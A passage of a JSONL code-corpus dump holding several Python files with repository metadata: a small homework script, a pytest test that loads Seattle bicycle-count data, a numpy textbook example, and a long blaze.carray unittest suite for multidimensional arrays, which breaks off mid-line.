"9405e58d9268041f5416711c051cf5429a19bf49", "max_issues_repo_licenses": ["PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2021-02-16T06:43:48.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-19T00:07:02.000Z", "max_forks_repo_path": "pandas/tests/frame/methods/test_explode.py", "max_forks_repo_name": "oricou/pandas", "max_forks_repo_head_hexsha": "9405e58d9268041f5416711c051cf5429a19bf49", "max_forks_repo_licenses": ["PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-03-24T05:02:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-24T05:02:16.000Z", "avg_line_length": 30.6276595745, "max_line_length": 88, "alphanum_fraction": 0.4565821466, "include": true, "reason": "import numpy", "num_tokens": 1798, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4301473485858429, "lm_q2_score": 0.12085323407368521, "lm_q1q2_score": 0.05198469820481994}}
{"text": "import numpy as np #the Numpy library\r\nimport matplotlib.pyplot as plt #Matplotlib's pyplot\r\n\r\nimport sys #gives access to C-like sys library\r\nimport os #gives accesss to operating system\r\n\r\nprint(sys.argv) #prints any command line arguments, incl. program name\r\nprint(os.getcwd())", "meta": {"hexsha": "36e246edcdb6aae9e8014aeae0730a76b54dcc2a", "size": 281, "ext": "py", "lang": "Python", "max_stars_repo_path": "astr-119-hw-2/useful_modules.py", "max_stars_repo_name": "QuinnPaddock/UCSC-ASTR-119", "max_stars_repo_head_hexsha": "7b37dfe9f28a4f4a99764aa188fe3a1358ae1639", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "astr-119-hw-2/useful_modules.py", "max_issues_repo_name": "QuinnPaddock/UCSC-ASTR-119", "max_issues_repo_head_hexsha": "7b37dfe9f28a4f4a99764aa188fe3a1358ae1639", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2021-09-23T18:17:04.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-06T22:07:10.000Z", "max_forks_repo_path": "astr-119-hw-2/useful_modules.py", "max_forks_repo_name": "QuinnPaddock/UCSC-ASTR-119", "max_forks_repo_head_hexsha": "7b37dfe9f28a4f4a99764aa188fe3a1358ae1639", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.125, "max_line_length": 71, "alphanum_fraction": 0.7722419929, "include": true, "reason": "import numpy", "num_tokens": 64, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4301473485858429, "lm_q2_score": 0.12085322299118381, "lm_q1q2_score": 0.05198469343771135}}
{"text": "from jupyter.data import get_fremont_bicycle_data\nimport pandas as pd \nimport numpy as np \n##mm error \n## data = get_fremont_bicycle_data()\ndef test_fremont_data():\n    URL = 'https://data.seattle.gov/api/views/65db-xm6k/rows.csv?accessType=DOWNLOAD'\n    FILENAME = 'fremont_bicycle.csv'\n    data = get_fremont_bicycle_data(FILENAME, URL)\n    assert all(data.columns == ['Total', 'East', 'West'])\n    assert isinstance(data.index, pd.DatetimeIndex)\n    assert len(np.unique(data.index.time)) == 24 ", "meta": {"hexsha": "057dc3084a7314d2cc06d28691d6429ddf01fb51", "size": 498, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_data.py", "max_stars_repo_name": "Violet-Fan/jupyter_workflow", "max_stars_repo_head_hexsha": "4f0d74a2cc467eb7255a6c22648231a0366fae3b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_data.py", "max_issues_repo_name": "Violet-Fan/jupyter_workflow", "max_issues_repo_head_hexsha": "4f0d74a2cc467eb7255a6c22648231a0366fae3b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/test_data.py", "max_forks_repo_name": "Violet-Fan/jupyter_workflow", "max_forks_repo_head_hexsha": "4f0d74a2cc467eb7255a6c22648231a0366fae3b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.5, "max_line_length": 85, "alphanum_fraction": 0.7309236948, "include": true, "reason": "import numpy", "num_tokens": 139, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.10818895599979557, "lm_q1q2_score": 0.05198248655816496}}
{"text": "import numpy as np\r\narr1 = np.full (2, True)\r\nprint(\"Full 1D Array\")\r\nprint(arr1)\r\nprint(arr1.ndim)\r\n\r\n#[True True]\r\n# arr1.ndim prints dimensions of array i.e. 1", "meta": {"hexsha": "6879a3f70316ebbfc194b5975ced40f887e148e0", "size": 162, "ext": "py", "lang": "Python", "max_stars_repo_path": "Chapter 15/ch15_9.py", "max_stars_repo_name": "bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE", "max_stars_repo_head_hexsha": "f6a4194684515495d00aa38347a725dd08f39a0c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Chapter 15/ch15_9.py", "max_issues_repo_name": "bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE", "max_issues_repo_head_hexsha": "f6a4194684515495d00aa38347a725dd08f39a0c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Chapter 15/ch15_9.py", "max_forks_repo_name": "bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE", "max_forks_repo_head_hexsha": "f6a4194684515495d00aa38347a725dd08f39a0c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.25, "max_line_length": 45, "alphanum_fraction": 0.6790123457, "include": true, "reason": "import numpy", "num_tokens": 49, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.10818895456207037, "lm_q1q2_score": 0.05198248586736865}}
{"text": "# -*- coding: utf-8 -*-\n########################################################################\n#\n# multidimension tests for blaze.carray.\n# based on carray tests, adapted to blaze and nosetest\n#\n########################################################################\n\nimport sys\nimport struct\n\nimport numpy as np\nfrom numpy.testing import assert_array_equal, assert_array_almost_equal\nimport blaze.carray as ca\nfrom blaze.carray.carrayExtension import chunk\nfrom blaze.carray.tests import common\nfrom common import MayBeDiskTest\nimport unittest\n\nclass constructorTest(MayBeDiskTest, unittest.TestCase):\n\n    open = False\n\n    def test00a(self):\n        \"\"\"Testing `carray` reshape\"\"\"\n        a = np.arange(16).reshape((2,2,4))\n        b = ca.arange(16, rootdir=self.rootdir).reshape((2,2,4))\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test00b(self):\n        \"\"\"Testing `carray` reshape (large shape)\"\"\"\n        a = np.arange(16000).reshape((20,20,40))\n        b = ca.arange(16000, rootdir=self.rootdir).reshape((20,20,40))\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test01a(self):\n        \"\"\"Testing `zeros` constructor (I)\"\"\"\n        a = np.zeros((2,2,4), dtype='i4')\n        b = ca.zeros((2,2,4), dtype='i4', rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test01b(self):\n        \"\"\"Testing `zeros` constructor (II)\"\"\"\n        a = np.zeros(2, dtype='(2,4)i4')\n        b = ca.zeros(2, dtype='(2,4)i4', rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test01c(self):\n        \"\"\"Testing `zeros` constructor (III)\"\"\"\n        a = np.zeros((2,2), dtype='(4,)i4')\n        b = ca.zeros((2,2), dtype='(4,)i4', rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test02(self):\n        \"\"\"Testing `ones` constructor\"\"\"\n        a = np.ones((2,2), dtype='(4,)i4')\n        b = ca.ones((2,2), dtype='(4,)i4', rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test03a(self):\n        \"\"\"Testing `fill` constructor (scalar default)\"\"\"\n        a = np.ones((2,200), dtype='(4,)i4')*3\n        b = ca.fill((2,200), 3, dtype='(4,)i4', rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test03b(self):\n        \"\"\"Testing `fill` constructor (array default)\"\"\"\n        a = np.ones((2,2), dtype='(4,)i4')*3\n        b = ca.fill((2,2), [3,3,3,3], dtype='(4,)i4', rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test04(self):\n        \"\"\"Testing `fill` constructor with open and resize (array default)\"\"\"\n        a = np.ones((3,200), dtype='(4,)i4')*3\n        b = ca.fill((2,200), [3,3,3,3], dtype='(4,)i4', rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        c = np.ones((1,200), dtype='(4,)i4')*3\n        b.append(c)\n        #print \"b->\", `b`, len(b), b[1]\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test05(self):\n        \"\"\"Testing `fill` constructor with open and resize (nchunks>1)\"\"\"\n        a = np.ones((3,2000), dtype='(4,)i4')*3\n        b = ca.fill((2,2000), [3,3,3,3], dtype='(4,)i4', rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        c = np.ones((1,2000), dtype='(4,)i4')*3\n        b.append(c)\n        #print \"b->\", `b`\n        # We need to use the b[:] here to overcome a problem with the\n        # assert_array_equal() function\n        assert_array_equal(a, b[:], \"Arrays are not equal\")\n\nclass constructorDiskTest(constructorTest, unittest.TestCase):\n    disk = True\n    open = False\n\nclass constructorOpenTest(constructorTest, unittest.TestCase):\n    disk = True\n    open = True\n\nclass getitemTest(MayBeDiskTest, unittest.TestCase):\n\n    open = False\n\n    def test00a(self):\n        \"\"\"Testing `__getitem()__` method with only a start (scalar)\"\"\"\n        a = np.ones((2,3), dtype=\"i4\")*3\n        b = ca.fill((2,3), 3, dtype=\"i4\", rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        sl = 1\n        #print \"b[sl]->\", `b[sl]`\n        self.assert_(a[sl].shape == b[sl].shape, \"Shape is not equal\")\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test00b(self):\n        \"\"\"Testing `__getitem()__` method with only a start (slice)\"\"\"\n        a = np.ones((27,2700), dtype=\"i4\")*3\n        b = ca.fill((27,2700), 3, dtype=\"i4\", rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        sl = slice(1)\n        self.assert_(a[sl].shape == b[sl].shape, \"Shape is not equal\")\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test01(self):\n        \"\"\"Testing `__getitem()__` method with a start and a stop\"\"\"\n        a = np.ones((5,2), dtype=\"i4\")*3\n        b = ca.fill((5,2), 3, dtype=\"i4\", rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        sl = slice(1,4)\n        #print \"b[sl]->\", `b[sl]`\n        self.assert_(a[sl].shape == b[sl].shape, \"Shape is not equal\")\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test02(self):\n        \"\"\"Testing `__getitem()__` method with a start, stop, step\"\"\"\n        a = np.ones((10,2), dtype=\"i4\")*3\n        b = ca.fill((10,2), 3, dtype=\"i4\", rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        sl = slice(1,9,2)\n        #print \"b[sl]->\", `b[sl]`\n        self.assert_(a[sl].shape == b[sl].shape, \"Shape is not equal\")\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test03a(self):\n        \"\"\"Testing `__getitem()__` method with several slices (I)\"\"\"\n        a = np.arange(12).reshape((4,3))\n        b = ca.carray(a, rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        sl = (slice(1,3,1), slice(1,4,2))\n        #print \"b[sl]->\", `b[sl]`\n        self.assert_(a[sl].shape == b[sl].shape, \"Shape is not equal\")\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test03b(self):\n        \"\"\"Testing `__getitem()__` method with several slices (II)\"\"\"\n        a = np.arange(24*1000).reshape((4*1000,3,2))\n        b = ca.carray(a, rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        sl = (slice(1,3,2), slice(1,4,2), slice(None))\n        #print \"b[sl]->\", `b[sl]`\n        self.assert_(a[sl].shape == b[sl].shape, \"Shape is not equal\")\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test03c(self):\n        \"\"\"Testing `__getitem()__` method with several slices (III)\"\"\"\n        a = np.arange(120*1000).reshape((5*1000,4,3,2))\n        b = ca.carray(a, rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        sl = (slice(None,None,3), slice(1,3,2), slice(1,4,2))\n        #print \"b[sl]->\", `b[sl]`\n        self.assert_(a[sl].shape == b[sl].shape, \"Shape is not equal\")\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test04a(self):\n        \"\"\"Testing `__getitem()__` method with shape reduction (I)\"\"\"\n        a = np.arange(12000).reshape((40,300))\n        b = ca.carray(a, rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        sl = (1,1)\n        #print \"b[sl]->\", `b[sl]`\n        self.assert_(a[sl].shape == b[sl].shape, \"Shape is not equal\")\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test04b(self):\n        \"\"\"Testing `__getitem()__` method with shape reduction (II)\"\"\"\n        a = np.arange(12000).reshape((400,30))\n        b = ca.carray(a, rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        sl = (1,slice(1,4,2))\n        #print \"b[sl]->\", `b[sl]`\n        self.assert_(a[sl].shape == b[sl].shape, \"Shape is not equal\")\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test04c(self):\n        \"\"\"Testing `__getitem()__` method with shape reduction (III)\"\"\"\n        a = np.arange(6000).reshape((50,40,3))\n        b = ca.carray(a, rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n        sl = (1,slice(1,4,2),2)\n        #print \"b[sl]->\", `b[sl]`\n        self.assert_(a[sl].shape == b[sl].shape, \"Shape is not equal\")\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\nclass getitemDiskTest(getitemTest, unittest.TestCase):\n    disk = True\n    open = False\n\nclass getitemOpenTest(getitemTest, unittest.TestCase):\n    disk = True\n    open = True\n\n\nclass setitemTest(MayBeDiskTest, unittest.TestCase):\n\n    open = False\n\n    def test00a(self):\n        \"\"\"Testing `__setitem()__` method with only a start (scalar)\"\"\"\n        a = np.ones((2,3), dtype=\"i4\")*3\n        b = ca.fill((2,3), 3, dtype=\"i4\", rootdir=self.rootdir)\n        sl = slice(1)\n        a[sl,:] = 0\n        b[sl] = 0\n        if self.open:\n            b.flush()\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b[sl]->\", `b[sl]`\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test00b(self):\n        \"\"\"Testing `__setitem()__` method with only a start (vector)\"\"\"\n        a = np.ones((200,300), dtype=\"i4\")*3\n        b = ca.fill((200,300), 3, dtype=\"i4\", rootdir=self.rootdir)\n        sl = slice(1)\n        a[sl,:] = range(300)\n        b[sl] = range(300)\n        if self.open:\n            b.flush()\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b[sl]->\", `b[sl]`\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test01a(self):\n        \"\"\"Testing `__setitem()__` method with start,stop (scalar)\"\"\"\n        a = np.ones((500,200), dtype=\"i4\")*3\n        b = ca.fill((500,200), 3, dtype=\"i4\", rootdir=self.rootdir,\n                    cparams=ca.cparams())\n        sl = slice(100,400)\n        a[sl,:] = 0\n        b[sl] = 0\n        if self.open:\n            b.flush()\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b[sl]->\", `b[sl]`\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n        #assert_array_equal(a[:], b[:], \"Arrays are not equal\")\n\n    def test01b(self):\n        \"\"\"Testing `__setitem()__` method with start,stop (vector)\"\"\"\n        a = np.ones((5,2), dtype=\"i4\")*3\n        b = ca.fill((5,2), 3, dtype=\"i4\", rootdir=self.rootdir)\n        sl = slice(1,4)\n        a[sl,:] = range(2)\n        b[sl] = range(2)\n        if self.open:\n            b.flush()\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b[sl]->\", `b[sl]`\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test02a(self):\n        \"\"\"Testing `__setitem()__` method with start,stop,step (scalar)\"\"\"\n        a = np.ones((1000,200), dtype=\"i4\")*3\n        b = ca.fill((1000,200), 3, dtype=\"i4\", rootdir=self.rootdir)\n        sl = slice(100,800,3)\n        a[sl,:] = 0\n        b[sl] = 0\n        if self.open:\n            b.flush()\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b[sl]->\", `b[sl]`\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test02b(self):\n        \"\"\"Testing `__setitem()__` method with start,stop,step (scalar)\"\"\"\n        a = np.ones((10,2), dtype=\"i4\")*3\n        b = ca.fill((10,2), 3, dtype=\"i4\", rootdir=self.rootdir)\n        sl = slice(1,8,3)\n        a[sl,:] = range(2)\n        b[sl] = range(2)\n        if self.open:\n            b.flush()\n            b = ca.open(rootdir=self.rootdir)\n        #print \"b[sl]->\", `b[sl]`, `b`\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test03a(self):\n        \"\"\"Testing `__setitem()__` method with several slices (I)\"\"\"\n        a = np.arange(12000).reshape((400,30))\n        b = ca.carray(a, rootdir=self.rootdir)\n        sl = (slice(1,3,1), slice(1,None,2))\n        #print \"before->\", `b[sl]`\n        a[sl] = [[1],[2]]\n        b[sl] = [[1],[2]]\n        if self.open:\n            b.flush()\n            b = ca.open(rootdir=self.rootdir)\n        #print \"after->\", `b[sl]`\n        assert_array_equal(a[:], b[:], \"Arrays are not equal\")\n\n    def test03b(self):\n        \"\"\"Testing `__setitem()__` method with several slices (II)\"\"\"\n        a = np.arange(24000).reshape((400,3,20))\n        b = ca.carray(a, rootdir=self.rootdir)\n        sl = (slice(1,3,1), slice(1,None,2), slice(1))\n        #print \"before->\", `b[sl]`\n        a[sl] = [[[1]],[[2]]]\n        b[sl] = [[[1]],[[2]]]\n        if self.open:\n            b.flush()\n            b = ca.open(rootdir=self.rootdir)\n        #print \"after->\", `b[sl]`\n        assert_array_equal(a[:], b[:], \"Arrays are not equal\")\n\n    def test03c(self):\n        \"\"\"Testing `__setitem()__` method with several slices (III)\"\"\"\n        a = np.arange(120).reshape((5,4,3,2))\n        b = ca.carray(a, rootdir=self.rootdir)\n        sl = (slice(1,3), slice(1,3,1), slice(1,None,2), slice(1))\n        #print \"before->\", `b[sl]`\n        a[sl] = [[[[1]],[[2]]]]*2\n        b[sl] = [[[[1]],[[2]]]]*2\n        if self.open:\n            b.flush()\n            b = ca.open(rootdir=self.rootdir)\n        #print \"after->\", `b[sl]`\n        assert_array_equal(a[:], b[:], \"Arrays are not equal\")\n\n    def test03d(self):\n        \"\"\"Testing `__setitem()__` method with several slices (IV)\"\"\"\n        a = np.arange(120).reshape((5,4,3,2))\n        b = ca.carray(a, rootdir=self.rootdir)\n        sl = (slice(1,3), slice(1,3,1), slice(1,None,2), slice(1))\n        #print \"before->\", `b[sl]`\n        a[sl] = 2\n        b[sl] = 2\n        if self.open:\n            b.flush()\n            b = ca.open(rootdir=self.rootdir)\n        #print \"after->\", `b[sl]`\n        assert_array_equal(a[:], b[:], \"Arrays are not equal\")\n\n    def test04a(self):\n        \"\"\"Testing `__setitem()__` method with shape reduction (I)\"\"\"\n        a = np.arange(12).reshape((4,3))\n        b = ca.carray(a, rootdir=self.rootdir)\n        sl = (1,1)\n        #print \"before->\", `b[sl]`\n        a[sl] = 2\n        b[sl] = 2\n        if self.open:\n            b.flush()\n            b = ca.open(rootdir=self.rootdir)\n        #print \"after->\", `b[sl]`\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test04b(self):\n        \"\"\"Testing `__setitem()__` method with shape reduction (II)\"\"\"\n        a = np.arange(12).reshape((4,3))\n        b = ca.carray(a, rootdir=self.rootdir)\n        sl = (1,slice(1,4,2))\n        #print \"before->\", `b[sl]`\n        a[sl] = 2\n        b[sl] = 2\n        if self.open:\n            b.flush()\n            b = ca.open(rootdir=self.rootdir)\n        #print \"after->\", `b[sl]`\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\n    def test04c(self):\n        \"\"\"Testing `__setitem()__` method with shape reduction (III)\"\"\"\n        a = np.arange(24).reshape((4,3,2))\n        b = ca.carray(a, rootdir=self.rootdir)\n        sl = (1,2,slice(None,None,None))\n        #print \"before->\", `b[sl]`\n        a[sl] = 2\n        b[sl] = 2\n        if self.open:\n            b.flush()\n            b = ca.open(rootdir=self.rootdir)\n        #print \"after->\", `b[sl]`\n        assert_array_equal(a[sl], b[sl], \"Arrays are not equal\")\n\nclass setitemDiskTest(setitemTest, unittest.TestCase):\n    disk = True\n\nclass setitemOpenTest(setitemTest, unittest.TestCase):\n    disk = True\n    open = True\n\n\nclass appendTest(MayBeDiskTest, unittest.TestCase):\n\n    def test00a(self):\n        \"\"\"Testing `append()` method (correct shape)\"\"\"\n        a = np.ones((2,300), dtype=\"i4\")*3\n        b = ca.fill((1,300), 3, dtype=\"i4\", rootdir=self.rootdir)\n        b.append([(3,)*300])\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test00b(self):\n        \"\"\"Testing `append()` method (correct shape, single row)\"\"\"\n        a = np.ones((2,300), dtype=\"i4\")*3\n        b = ca.fill((1,300), 3, dtype=\"i4\", rootdir=self.rootdir)\n        b.append((3,)*300)\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test01(self):\n        \"\"\"Testing `append()` method (incorrect shape)\"\"\"\n        a = np.ones((2,3), dtype=\"i4\")*3\n        b = ca.fill((1,3), 3, dtype=\"i4\", rootdir=self.rootdir)\n        self.assertRaises(ValueError, b.append, [(3,3)])\n\n    def test02(self):\n        \"\"\"Testing `append()` method (several rows)\"\"\"\n        a = np.ones((4,3), dtype=\"i4\")*3\n        b = ca.fill((1,3), 3, dtype=\"i4\", rootdir=self.rootdir)\n        b.append([(3,3,3)]*3)\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\nclass appendDiskTest(appendTest, unittest.TestCase):\n    disk = True\n\n\nclass resizeTest(MayBeDiskTest, unittest.TestCase):\n\n    def test00a(self):\n        \"\"\"Testing `resize()` (trim)\"\"\"\n        a = np.ones((2,3), dtype=\"i4\")\n        b = ca.ones((3,3), dtype=\"i4\", rootdir=self.rootdir)\n        b.resize(2)\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test00b(self):\n        \"\"\"Testing `resize()` (trim to zero)\"\"\"\n        a = np.ones((0,3), dtype=\"i4\")\n        b = ca.ones((3,3), dtype=\"i4\", rootdir=self.rootdir)\n        b.resize(0)\n        #print \"b->\", `b`\n        # The next does not work well for carrays with shape (0,)\n        #assert_array_equal(a, b, \"Arrays are not equal\")\n        self.assert_(\"a.dtype.base == b.dtype.base\")\n        self.assert_(\"a.shape == b.shape+b.dtype.shape\")\n\n    def test01(self):\n        \"\"\"Testing `resize()` (enlarge)\"\"\"\n        a = np.ones((4,3), dtype=\"i4\")\n        b = ca.ones((3,3), dtype=\"i4\", rootdir=self.rootdir)\n        b.resize(4)\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\nclass resizeDiskTest(resizeTest, unittest.TestCase):\n    disk = True\n\n\nclass iterTest(unittest.TestCase):\n\n    def test00(self):\n        \"\"\"Testing `iter()` (no start, stop, step)\"\"\"\n        a = np.ones((3,), dtype=\"i4\")\n        b = ca.ones((1000,3), dtype=\"i4\")\n        #print \"b->\", `b`\n        for r in b.iter():\n            assert_array_equal(a, r, \"Arrays are not equal\")\n\n    def test01(self):\n        \"\"\"Testing `iter()` (w/ start, stop)\"\"\"\n        a = np.ones((3,), dtype=\"i4\")\n        b = ca.ones((1000,3), dtype=\"i4\")\n        #print \"b->\", `b`\n        for r in b.iter(start=10):\n            assert_array_equal(a, r, \"Arrays are not equal\")\n\n    def test02(self):\n        \"\"\"Testing `iter()` (w/ start, stop, step)\"\"\"\n        a = np.ones((3,), dtype=\"i4\")\n        b = ca.ones((1000,3), dtype=\"i4\")\n        #print \"b->\", `b`\n        for r in b.iter(15, 100, 3):\n            assert_array_equal(a, r, \"Arrays are not equal\")\n\n\nclass reshapeTest(unittest.TestCase):\n\n    def test00a(self):\n        \"\"\"Testing `reshape()` (unidim -> ndim)\"\"\"\n        a = np.ones((3,4), dtype=\"i4\")\n        b = ca.ones(12, dtype=\"i4\").reshape((3,4))\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test00b(self):\n        \"\"\"Testing `reshape()` (unidim -> ndim, -1 in newshape (I))\"\"\"\n        a = np.ones((3,4), dtype=\"i4\")\n        b = ca.ones(12, dtype=\"i4\").reshape((-1,4))\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test00c(self):\n        \"\"\"Testing `reshape()` (unidim -> ndim, -1 in newshape (II))\"\"\"\n        a = np.ones((3,4), dtype=\"i4\")\n        b = ca.ones(12, dtype=\"i4\").reshape((3,-1))\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test01(self):\n        \"\"\"Testing `reshape()` (ndim -> unidim)\"\"\"\n        a = np.ones(12, dtype=\"i4\")\n        c = ca.ones(12, dtype=\"i4\").reshape((3,4))\n        b = c.reshape(12)\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test02a(self):\n        \"\"\"Testing `reshape()` (ndim -> ndim, I)\"\"\"\n        a = np.arange(12, dtype=\"i4\").reshape((3,4))\n        c = ca.arange(12, dtype=\"i4\").reshape((4,3))\n        b = c.reshape((3,4))\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test02b(self):\n        \"\"\"Testing `reshape()` (ndim -> ndim, II)\"\"\"\n        a = np.arange(24, dtype=\"i4\").reshape((2,3,4))\n        c = ca.arange(24, dtype=\"i4\").reshape((4,3,2))\n        b = c.reshape((2,3,4))\n        #print \"b->\", `b`\n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def test03(self):\n        \"\"\"Testing `reshape()` (0-dim)\"\"\"\n        a = np.ones((0,4), dtype=\"i4\")\n        b = ca.ones(0, dtype=\"i4\").reshape((0,4))\n        #print \"b->\", `b`\n        # The next does not work well for carrays with shape (0,)\n        #assert_array_equal(a, b, \"Arrays are not equal\")\n        self.assert_(a.dtype.base == b.dtype.base)\n        self.assert_(a.shape == b.shape+b.dtype.shape)\n\n\nclass compoundTest:\n\n    def test00(self):\n        \"\"\"Testing compound types (creation)\"\"\"\n        a = np.ones((300,4), dtype=self.dtype)\n        b = ca.ones((300,4), dtype=self.dtype)\n        #print \"b.dtype-->\", b.dtype\n        #print \"b->\", `b`\n        self.assert_(a.dtype == b.dtype.base)\n        assert_array_equal(a, b[:], \"Arrays are not equal\")\n\n    def test01(self):\n        \"\"\"Testing compound types (append)\"\"\"\n        a = np.ones((300,4), dtype=self.dtype)\n        b = ca.carray([], dtype=self.dtype).reshape((0,4))\n        b.append(a)\n        #print \"b.dtype-->\", b.dtype\n        #print \"b->\", `b`\n        self.assert_(a.dtype == b.dtype.base)\n        assert_array_equal(a, b[:], \"Arrays are not 